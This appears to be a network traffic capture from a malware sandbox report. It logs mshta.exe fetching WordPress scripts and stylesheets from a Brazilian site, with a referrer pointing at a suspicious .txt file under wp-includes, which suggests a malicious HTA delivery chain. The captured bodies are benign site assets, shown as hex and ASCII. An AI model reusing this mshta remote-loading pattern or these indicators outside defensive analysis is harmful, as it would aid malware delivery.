                                                              Aug 16, 2022 10:33:04.361036062 CEST12INData Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73
                                                              Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
                                                              Aug 16, 2022 10:33:04.593293905 CEST22INData Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f
                                                              Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              10192.168.2.2249183187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:07.065555096 CEST422OUTGET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:07.293474913 CEST445INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:34 GMT
                                                              Server: Apache
                                                              ETag: "a55f41-2ea7-5c001a3bd78ff"
                                                              Last-Modified: Thu, 15 Apr 2021 12:02:38 GMT
                                                              Content-Length: 11943
                                                              Content-Type: application/x-javascript
                                                              X-Pad: avoid browser bug
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 19207285 17727152
                                                              Age: 32
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 66 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 74 77 65 6d 6f 6a 69 2e 6d 61 78 63 64 6e 2e 63 6f 6d 2f 32 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 64 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 64 3f 70 61 72 73 65 49 6e 74 28 64 2c 31 36 29 3a 64 3b 69 66 28 64 3c 36 35 35 33 36 29 72 65 74 75 72 6e 20 61 28 64 29 3b 72 65 74 75 72 6e 20 61 28 35 35 32 39 36 2b 28 28 64 2d 3d 36 35 35 33 36 29 3e 3e 31 30 29 2c 35 36 33 32 30 2b 28 31 30 32 33 26 64 29 29 7d 2c 74 6f 43 6f 64 65 50 6f 69 6e 74 3a 69 7d 2c 6f 6e 65 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 67 28 74 68 69 73 2e 61 6c 74 2c 21 31 29 2c 74 68 69 73 29 7d 2c 70 61 72 73 65 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 75 29 7b 75 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 75 7c 7c 28 75 3d 7b 63 61 6c 6c 62 61 63 6b 3a 75 7d 29 3b 72 65 74 75 72 6e 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 64 3f 66 75 6e 63 74 69 6f 6e 28 64 2c 74 29 7b 72 65 74 75 72 6e 20 6f 28 64 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 76 61 72 20 75 2c 66 2c 65 3d 64 2c 63 3d 78 28 64 29 2c 61 3d 74 2e 63 61 6c 6c 62 61 63 6b 28 63 2c 74 29 3b 69 66 28 61 29 7b 66 6f 72 28 66 20 69 6e 20 65 3d 22 3c 69 6d 67 20 22 2e 63 6f 6e 63 61 74 28 27 63 6c 61 73 73 3d 22 27 2c 74 2e 63 6c 61 73 73 4e 61 6d 65 2c 27 22 20 27 2c 27 64 72 61 67 67 61 62 6c 65 3d 22 66 61 6c 73 65 22 20 27 2c 27 61 6c 74 3d 22 27 2c 64 2c 27 22 27 2c 27 20 73 72 63 3d 22 27 2c 61 2c 27 22 27 29 2c 75 3d 74 2e 61 74 74 72 69 62 75 74 65 73 28 64 2c 63 29 29 75 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 66 29 26 26 30 21 3d 3d 66 2e 69 6e 64 65 78 4f 66 28 22 6f 6e 22 29 26 26 2d 31 3d 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 22 20 22 2b 66 2b 22 3d 22 29 26 26 28 65 3d 65 2e 63 6f 6e 63 61 74 28 22 20 22 2c 66 2c 27 3d 22 27 2c 75 5b 66 5d 2e 72 65 70 6c 61 63 65 28 6e 2c 72 29 2c 27 22 27 29 29 3b 65 3d 65 2e 63 6f 6e 63 61 74 28 22 2f 3e 22 29 7d 72 65 74 75 72 6e 20 65 7d 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 75 29 7b 76 61 72 20 66 2c 65 2c 63 2c 61 2c 74 2c 6e 2c 72 2c 62 2c 6f 2c 69 2c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 20 64 28 75 2c 66 29 7b 76 61 72 20 65 2c 63 2c 61 3d 75 2e 63 68 69 6c 64 4e 6f 64 65 73 2c 74 3d 61 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 3b 74 2d 2d
                                                              Data Ascii: // Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return a(d);return a(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u||(u={callback:u});return("string"==typeof d?function(d,t){return o(d,function(d){var u,f,e=d,c=x(d),a=t.callback(c,t);if(a){for(f in e="<img ".concat('class="',t.className,'" ','draggable="false" ','alt="',d,'"',' src="',a,'"'),u=t.attributes(d,c))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===e.indexOf(" "+f+"=")&&(e=e.concat(" ",f,'="',u[f].replace(n,r),'"'));e=e.concat("/>")}return e})}:function(d,u){var f,e,c,a,t,n,r,b,o,i,s,l=function d(u,f){var e,c,a=u.childNodes,t=a.length;for(;t--
                                                              Aug 16, 2022 10:33:07.293504953 CEST446INData Raw: 3b 29 65 3d 61 5b 74 5d 2c 33 3d 3d 3d 28 63 3d 65 2e 6e 6f 64 65 54 79 70 65 29 3f 66 2e 70 75 73 68 28 65 29 3a 31 21 3d 3d 63 7c 7c 22 6f 77 6e 65 72 53 56 47 45 6c 65 6d 65 6e 74 22 69 6e 20 65 7c 7c 68 2e 74 65 73 74 28 65 2e 6e 6f 64 65 4e
                                                              Data Ascii: ;)e=a[t],3===(c=e.nodeType)?f.push(e):1!==c||"ownerSVGElement"in e||h.test(e.nodeName.toLowerCase())||d(e,f);return f}(d,[]),p=l.length;for(;p--;){for(c=!1,a=document.createDocumentFragment(),t=l[p],n=t.nodeValue,r=0;i=m.exec(n);){if((s=i.inde
                                                              Aug 16, 2022 10:33:07.293534040 CEST447INData Raw: 75 64 64 62 33 5d 29 7c 28 3f 3a 5c 75 64 38 33 63 5b 5c 75 64 66 63 62 5c 75 64 66 63 63 5d 7c 5c 75 64 38 33 64 5b 5c 75 64 64 37 34 5c 75 64 64 37 35 5d 7c 5c 75 32 36 66 39 29 28 28 3f 3a 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66
                                                              Data Ascii: uddb3])|(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75]|\u26f9)((?:\ud83c[\udffb-\udfff]|\ufe0f)\u200d[\u2640\u2642]\ufe0f)|(?:\ud83c[\udfc3\udfc4\udfca]|\ud83d[\udc6e\udc71\udc73\udc77\udc81\udc82\udc86\udc87\ude45-\ude47\ude4b\ude4d\ude4e\udea3
                                                              Aug 16, 2022 10:33:07.293560982 CEST449INData Raw: 36 39 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 37 5c 75 32 30 30 64 5c 75 64 38 33 64 5b 5c 75 64 63 36 36 5c 75 64 63 36 37 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30
                                                              Data Ascii: 69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83c\udff3\ufe0f\u200d\ud83c\udf08|\ud83c\udff4\u200d\u2620\ufe0f|\ud83d\udc41\u200d\ud83d\udde8|\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\
                                                              Aug 16, 2022 10:33:07.293586969 CEST450INData Raw: 75 32 36 37 66 5c 75 32 36 39 32 2d 5c 75 32 36 39 37 5c 75 32 36 39 39 5c 75 32 36 39 62 5c 75 32 36 39 63 5c 75 32 36 61 30 5c 75 32 36 61 31 5c 75 32 36 61 61 5c 75 32 36 61 62 5c 75 32 36 62 30 5c 75 32 36 62 31 5c 75 32 36 62 64 5c 75 32 36
                                                              Data Ascii: u267f\u2692-\u2697\u2699\u269b\u269c\u26a0\u26a1\u26aa\u26ab\u26b0\u26b1\u26bd\u26be\u26c4\u26c5\u26c8\u26cf\u26d1\u26d3\u26d4\u26e9\u26ea\u26f0-\u26f5\u26f8\u26fa\u26fd\u2702\u2708\u2709\u270f\u2712\u2714\u2716\u271d\u2721\u2733\u2734\u2744\u
                                                              Aug 16, 2022 10:33:07.293615103 CEST452INData Raw: 75 64 64 66 30 2d 5c 75 64 64 66 35 5c 75 64 64 66 37 5c 75 64 64 66 61 2d 5c 75 64 64 66 66 5d 7c 5c 75 64 38 33 63 5c 75 64 64 65 39 5c 75 64 38 33 63 5b 5c 75 64 64 65 61 5c 75 64 64 65 63 5c 75 64 64 65 66 5c 75 64 64 66 30 5c 75 64 64 66 32
                                                              Data Ascii: uddf0-\uddf5\uddf7\uddfa-\uddff]|\ud83c\udde9\ud83c[\uddea\uddec\uddef\uddf0\uddf2\uddf4\uddff]|\ud83c\uddea\ud83c[\udde6\udde8\uddea\uddec\udded\uddf7-\uddfa]|\ud83c\uddeb\ud83c[\uddee-\uddf0\uddf2\uddf4\uddf7]|\ud83c\uddec\ud83c[\udde6\udde7
                                                              Aug 16, 2022 10:33:07.293797970 CEST453INData Raw: 64 65 36 5c 75 64 64 66 32 5c 75 64 64 66 63 5d 7c 5c 75 64 38 33 63 5b 5c 75 64 63 63 66 5c 75 64 64 38 65 5c 75 64 64 39 31 2d 5c 75 64 64 39 61 5c 75 64 64 65 36 2d 5c 75 64 64 66 66 5c 75 64 65 30 31 5c 75 64 65 33 32 2d 5c 75 64 65 33 36 5c
                                                              Data Ascii: de6\uddf2\uddfc]|\ud83c[\udccf\udd8e\udd91-\udd9a\udde6-\uddff\ude01\ude32-\ude36\ude38-\ude3a\ude50\ude51\udf00-\udf20\udf2d-\udf35\udf37-\udf7c\udf7e-\udf84\udf86-\udf93\udfa0-\udfc1\udfc5\udfc6\udfc8\udfc9\udfcf-\udfd3\udfe0-\udff0\udff4\ud
                                                              Aug 16, 2022 10:33:07.293827057 CEST455INData Raw: 2e 70 75 73 68 28 28 36 35 35 33 36 2b 28 63 2d 35 35 32 39 36 3c 3c 31 30 29 2b 28 65 2d 35 36 33 32 30 29 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2c 63 3d 30 29 3a 35 35 32 39 36 3c 3d 65 26 26 65 3c 3d 35 36 33 31 39 3f 63 3d 65 3a 66 2e
                                                              Data Ascii: .push((65536+(c-55296<<10)+(e-56320)).toString(16)),c=0):55296<=e&&e<=56319?c=e:f.push(e.toString(16));return f.join(u||"-")}}();// Source: wp-includes/js/wp-emoji.min.js!function(c,l){c.wp=c.wp||{},c.wp.emoji=new function(){var n,u,e=c.Muta
                                                              Aug 16, 2022 10:33:07.293858051 CEST456INData Raw: 7c 2f 5b 5c 75 32 30 33 43 5c 75 32 30 34 39 5c 75 32 30 45 33 5c 75 32 31 32 32 5c 75 32 31 33 39 5c 75 32 31 39 34 2d 5c 75 32 31 39 39 5c 75 32 31 41 39 5c 75 32 31 41 41 5c 75 32 33 30 30 5c 75 32 33 31 41 5c 75 32 33 31 42 5c 75 32 33 32 38
                                                              Data Ascii: |/[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\
                                                              Aug 16, 2022 10:33:07.293880939 CEST456INData Raw: 6f 64 65 26 26 28 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 65 72 72 6f 72 22 2c 22 6c 6f 61 64 2d 66 61 69 6c 65 64 22 29 2c 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 61 2e 63 72
                                                              Data Ascii: ode&&(this.setAttribute("data-error","load-failed"),n.parentNode.replaceChild(a.createTextNode(n.alt),n))}},"object"==typeof e.imgAttr&&(t.attributes=function(){return e.imgAttr}),n.parse(u,t)):u}return l&&(l.DOMReady?s():l.readyCallback=s),{p
                                                              Aug 16, 2022 10:33:07.297446012 CEST457OUTGET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:07.528295040 CEST459INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:07 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 02 Apr 2019 21:36:00 GMT
                                                              ETag: "a4fbb9-6cf-58592ec50f000"
                                                              Accept-Ranges: bytes
                                                              Content-Length: 1743
                                                              Connection: close
                                                              Content-Type: text/css
                                                              Data Raw: 64 69 76 2e 77 70 63 66 37 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 20 2e 73 63 72 65 65 6e 2d 72 65 61 64 65 72 2d 72 65 73 70 6f 6e 73 65 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 63 6c 69 70 3a 20 72 65 63 74 28 31 70 78 2c 20 31 70 78 2c 20 31 70 78 2c 20 31 70 78 29 3b 0a 09 68 65 69 67 68 74 3a 20 31 70 78 3b 0a 09 77 69 64 74 68 3a 20 31 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 72 65 73 70 6f 6e 73 65 2d 6f 75 74 70 75 74 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 32 65 6d 20 30 2e 35 65 6d 20 31 65 6d 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 2e 32 65 6d 20 31 65 6d 3b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 66 30 30 30 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 6d 61 69 6c 2d 73 65 6e 74 2d 6f 6b 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 33 39 38 66 31 34 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 6d 61 69 6c 2d 73 65 6e 74 2d 6e 67 2c 0a 64 69 76 2e 77 70 63 66 37 2d 61 62 6f 72 74 65 64 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 66 30 30 30 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 73 70 61 6d 2d 62 6c 6f 63 6b 65 64 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 66 61 35 30 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 76 61 6c 69 64 61 74 69 6f 6e 2d 65 72 72 6f 72 73 2c 0a 64 69 76 2e 77 70 63 66 37 2d 61 63 63 65 70 74 61 6e 63 65 2d 6d 69 73 73 69 6e 67 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 37 65 37 30 30 3b 0a 7d 0a 0a 2e 77 70 63 66 37 2d 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 77 72 61 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 0a 73 70 61 6e 2e 77 70 63 66 37 2d 6e 6f 74 2d 76 61 6c 69 64 2d 74 69 70 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 66 30 30 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 75 73 65 2d 66 6c 6f 61 74 69 6e 67 2d 76 61 6c 69 64 61 74 69 6f 6e 2d 74 69 70 20 73 70 61 6e 2e 77 70 63 66 37 2d 6e 6f 74 2d 76 61 6c 69 64 2d 74 69 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 74 6f 70 3a 20 32 30 25 3b 0a 09 6c 65 66 74 3a 20 32 30 25 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 31 30 30 3b 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 66 66 30 30 30 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 70 61 64 64 69 6e 67 3a 20 2e 32 65 6d 20 2e 38 65 6d 3b 0a 7d 0a 0a 73 70 61 6e 2e 77 70 63 66 37 2d 6c 69 73 74 2d 69 74 65 6d 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 30 20 30 20 31 65 6d 3b 0a 7d 0a 0a 73 70 61 6e 2e 77 70 63 66 37 2d 6c 69 73 74 2d 69 74 65 6d 2d 6c 61 62 65 6c 3a 3a 62 65 66 6f 72 65 2c 0a 73 70 61 6e 2e 77 70 63 66 37 2d 6c 69 73 74 2d 69 74 65 6d 2d 6c 61 62 65 6c 3a 3a 61 66 74 65 72 20 7b 0a 09 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 77 70 63
                                                              Data Ascii: div.wpcf7 {margin: 0;padding: 0;}div.wpcf7 .screen-reader-response {position: absolute;overflow: hidden;clip: rect(1px, 1px, 1px, 1px);height: 1px;width: 1px;margin: 0;padding: 0;border: 0;}div.wpcf7-response-output {margin: 2em 0.5em 1em;padding: 0.2em 1em;border: 2px solid #ff0000;}div.wpcf7-mail-sent-ok {border: 2px solid #398f14;}div.wpcf7-mail-sent-ng,div.wpcf7-aborted {border: 2px solid #ff0000;}div.wpcf7-spam-blocked {border: 2px solid #ffa500;}div.wpcf7-validation-errors,div.wpcf7-acceptance-missing {border: 2px solid #f7e700;}.wpcf7-form-control-wrap {position: relative;}span.wpcf7-not-valid-tip {color: #f00;font-size: 1em;font-weight: normal;display: block;}.use-floating-validation-tip span.wpcf7-not-valid-tip {position: absolute;top: 20%;left: 20%;z-index: 100;border: 1px solid #ff0000;background: #fff;padding: .2em .8em;}span.wpcf7-list-item {display: inline-block;margin: 0 0 0 1em;}span.wpcf7-list-item-label::before,span.wpcf7-list-item-label::after {content: " ";}.wpc
                                                              Aug 16, 2022 10:33:07.528337955 CEST460INData Raw: 66 37 2d 64 69 73 70 6c 61 79 2d 6e 6f 6e 65 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 20 2e 61 6a 61 78 2d 6c 6f 61 64 65 72 20 7b 0a 09 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b
                                                              Data Ascii: f7-display-none {display: none;}div.wpcf7 .ajax-loader {visibility: hidden;display: inline-block;background-image: url('../../images/ajax-loader.gif');width: 16px;height: 16px;border: none;padding: 0;margin: 0 0 0 4px;ve


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              11192.168.2.2249184187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:07.360554934 CEST458OUTGET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:07.583730936 CEST461INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:07 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 02 Apr 2019 21:25:36 GMT
                                                              ETag: "a4f8ac-193-58592c71f7400"
                                                              Accept-Ranges: bytes
                                                              Content-Length: 403
                                                              Connection: close
                                                              Content-Type: text/css
                                                              Data Raw: 62 6f 64 79 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 73 74 61 74 69 63 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 62 6f 78 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 32 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 62 67 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 0a 09 74 6f 70 3a 20 30 3b 0a 09 6c 65 66 74 3a 20 30 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 62 67 2d 69 6e 6e 65 72 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 0a 7d
                                                              Data Ascii: body .main-holder {overflow: hidden;position: static;}.parallax-box {position: relative;}.parallax-content {position: relative;z-index: 2;}.parallax-bg {position: absolute;overflow:hidden;top: 0;left: 0;width: 100%;height:100%;}.parallax-bg-inner {position:relative;background-repeat: no-repeat;background-size: cover;background-position: center;max-width:none;}


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              12192.168.2.2249185187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:08.057476044 CEST462OUTGET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:09.170316935 CEST464INHTTP/1.1 404 Not Found
                                                              Date: Tue, 16 Aug 2022 08:33:08 GMT
                                                              Server: Apache
                                                              Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                              Cache-Control: no-cache, must-revalidate, max-age=0
                                                              Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"
                                                              Connection: close
                                                              Transfer-Encoding: chunked
                                                              Content-Type: text/html; charset=UTF-8
                                                              Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 